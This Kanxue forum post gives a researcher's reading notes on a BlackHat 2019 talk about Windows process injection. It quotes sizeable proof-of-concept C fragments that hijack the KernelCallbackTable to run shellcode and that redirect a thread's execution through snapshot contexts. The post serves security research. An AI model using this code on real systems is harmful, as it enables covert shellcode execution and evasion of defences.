首页
论坛
课程
招聘
[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记
2022-2-10 13:37 4909

[原创]《Process Injection Techniques - Gotta Catch Them All》议题读后记

erfze 活跃值
12
2022-2-10 13:37
4909

0x01 《Process Injection Techniques - Gotta Catch Them All》

BlackHat 2019议题,相关链接如下:

 

Presentation Slides
White Paper
Tool

 

作者于文中讨论的是True Process Injection:

 

 

Injection可划分为两项子技术:

 

 

所以作者在Paper中将所有提到的技术划分为两类——write primitive与execution method,每一项Injection后面会标注其属于哪一类:

 

 

作者在列出每一项Injection后分析其核心原理,给出POC,并给出评估:

 

 

最后列出表格总结前文提到的所有技术。作者在最后还提到一个有意思的Auxiliary Technique:

 

 

Paper中第16项 KernelControlTable execution method (FinFisher/FinSpy 2018),Lazarus在最近的攻击活动中利用了该技术——North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign,笔者在Lazarus KernelCallbackTable Hooking一文中对其进行了简要分析,ORCA666近日发布了POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
PssSuccess = PssCaptureSnapshot(
    TargetProcess,
    PSS_QUERY_PROCESS_INFORMATION,
    NULL,
    &SnapshotHandle);
if (PssSuccess != ERROR_SUCCESS) {
    printf("[!] PssCaptureSnapshot failed: Win32 error %d \n", GetLastError());
    return FALSE;
}
PssSuccess = PssQuerySnapshot(
    SnapshotHandle,
    PSS_QUERY_PROCESS_INFORMATION,
    &PI,
    sizeof(PSS_PROCESS_INFORMATION)
);
if (PssSuccess != ERROR_SUCCESS) {
    printf("[!] PssQuerySnapshot failed: Win32 error %d \n", GetLastError());
    return FALSE;
}
if (PI.PebBaseAddress == NULL) {
    printf("[!] PI.PebBaseAddress IS NULL \n");
    return FALSE;
}
else {
    //ReadProcessMemory(TargetProcess, PI.PebBaseAddress, &peb, sizeof(peb), &lpNumberOfBytesRead);
    RtlMoveMemory(&peb, PI.PebBaseAddress, sizeof(PEB));
    if (peb.KernelCallbackTable == 0){
        printf("[!] KernelCallbackTable is NULL : Win32 error %d \n", GetLastError());
        return FALSE;
    }
    else {
        memcpy(&kct, peb.KernelCallbackTable, sizeof(kct));
        printf("[i] [BEFORE]kct.__fnDWORD : %0-16p \n", (void*) kct.__fnDWORD);
        if (Clean ==  TRUE){
            //ReadProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, Size, &lpNumberOfBytesRead);
            RtlMoveMemory(&Buffer, WMIsAO_ADD, Size);
            if (Buffer == NULL) {
                printf("[!] Buffer is NULL: Win32 error %d \n", GetLastError());
                return FALSE;
            }
        }
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_READWRITE, &Old);
        if (Success != TRUE) {
            printf("[!] [1] VirtualProtect failed: Win32 error %d \n", GetLastError());
            return FALSE;
        }
 
        memcpy(WMIsAO_ADD, rawData, Size);
 
        Success = VirtualProtect(WMIsAO_ADD, Size, PAGE_EXECUTE_READWRITE, &Old);
        if (Success != TRUE) {
            printf("[!] [2] VirtualProtect failed: Win32 error %d \n", GetLastError());
            return FALSE;
        }
        printf("[i] WMIsAO_ADD : %0-16p \n", (void*)WMIsAO_ADD);
 
 
        memcpy(&Newkct, &kct, sizeof(KERNELCALLBACKTABLE));
        Newkct.__fnDWORD = (ULONG_PTR)WMIsAO_ADD;
 
        pNewkct = VirtualAlloc(NULL, sizeof(KERNELCALLBACKTABLE), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        memcpy(pNewkct, &Newkct, sizeof(KERNELCALLBACKTABLE));
 
 
        Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), PAGE_READWRITE, &Old);
        //WriteProcessMemory(TargetProcess, (PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR), &lpNumberOfBytesWritten);
        RtlMoveMemory((PBYTE)PI.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &pNewkct, sizeof(ULONG_PTR));
        Success = VirtualProtect(PI.PebBaseAddress, sizeof(PEB), Old, &Old);
        //if (lpNumberOfBytesWritten == 0) {
        //    printf("[!] WriteProcessMemory failed: Win32 error %d \n", GetLastError());
        //    return FALSE;
        //}
        //else {
            Check_fnDWORDAfterOverWriting(TargetProcess);
            MessageBoxA(NULL, "test", "test", MB_OK); //this will trigger the shellcode, and u wont see the messagebox ;0
            if (Clean == TRUE) {
                //WriteProcessMemory(TargetProcess, WMIsAO_ADD, &Buffer, sizeof(Buffer), &lpNumberOfBytesWritten);
                RtlMoveMemory(WMIsAO_ADD, Buffer, sizeof(Buffer));
                ZeroMemory(Buffer, sizeof(Buffer));
            }
        //}
        return TRUE;
    }
}

ORCA666发布的另一个项目snaploader

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
while (PssSuccess == ERROR_SUCCESS) {
        ++i;
        PssSuccess = PssWalkSnapshot(
            SnapshotHandle,
            PSS_WALK_THREADS,
            WalkMarkerHandle,
            &Handle,
            sizeof(PSS_THREAD_ENTRY)
        );
        if (ThreadEntry.ThreadId == TID){
            memcpy(&Snapctx, ThreadEntry.ContextRecord, sizeof(CONTEXT));
            printf("[+] Snapctx.Rip Before Setting : 0x%-016p\n", (void*)Snapctx.Rip);
            if (Rip) {
                Snapctx.Rip = *(DWORD64*)Rip;
            }
            if (Rsp) {
                Snapctx.Rsp = *(DWORD64*)Rsp;
            }
            printf("[+] Snapctx.Rip After Setting : 0x%-016p\n", (void*)Snapctx.Rip);
 
            if (!SetThreadContext(hThread, &Snapctx)) {
                printf("[!] SetThreadContext FAILED with Error : %d \n", GetLastError());
                return FALSE;
            }
            Sleep(5000);
            printf("[+] DebugActiveProcessStop ...");
            DebugActiveProcessStop(PID);
            printf("[+] DONE \n");
        }
}

0x02 PE Injection

0x03 Detections

0x04 References

  1. Windows Process Injection: Extra Window Bytes
  2. Windows Process Injection: PROPagate
  3. Windows Process Injection: Sharing the payload
  4. Advanced Evasion Techniques by Win32/Gapz
  5. Injection on Steroids: Codeless code injection and 0-day techniques
  6. AtomBombing – A Brand New Code Injection Technique for Windows
  7. Diving Into Zberp’s Unconventional Process Injection Technique
  8. 【恶意代码分析技巧】14-修改内存指针实现进程注入
  9. 一种清除windows通知区域“僵尸”图标的方案——问题分析
  10. Executing Shellcode via Callbacks
  11. Code Injection - Weaponize GhostWriting Injection

 

本文可以当作是一篇汇总,记录了笔者在阅读BlackHat 2019《Process Injection Techniques - Gotta Catch Them All》议题时所搜集到的相关资料,0x04 References部分1-7都在White Paper中有提到,笔者认为原文会比Paper更详尽一些。另,modexpHexacorn上有很多关于Process Injection这方面的博客。


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

最后于 2022-2-10 13:51 被erfze编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回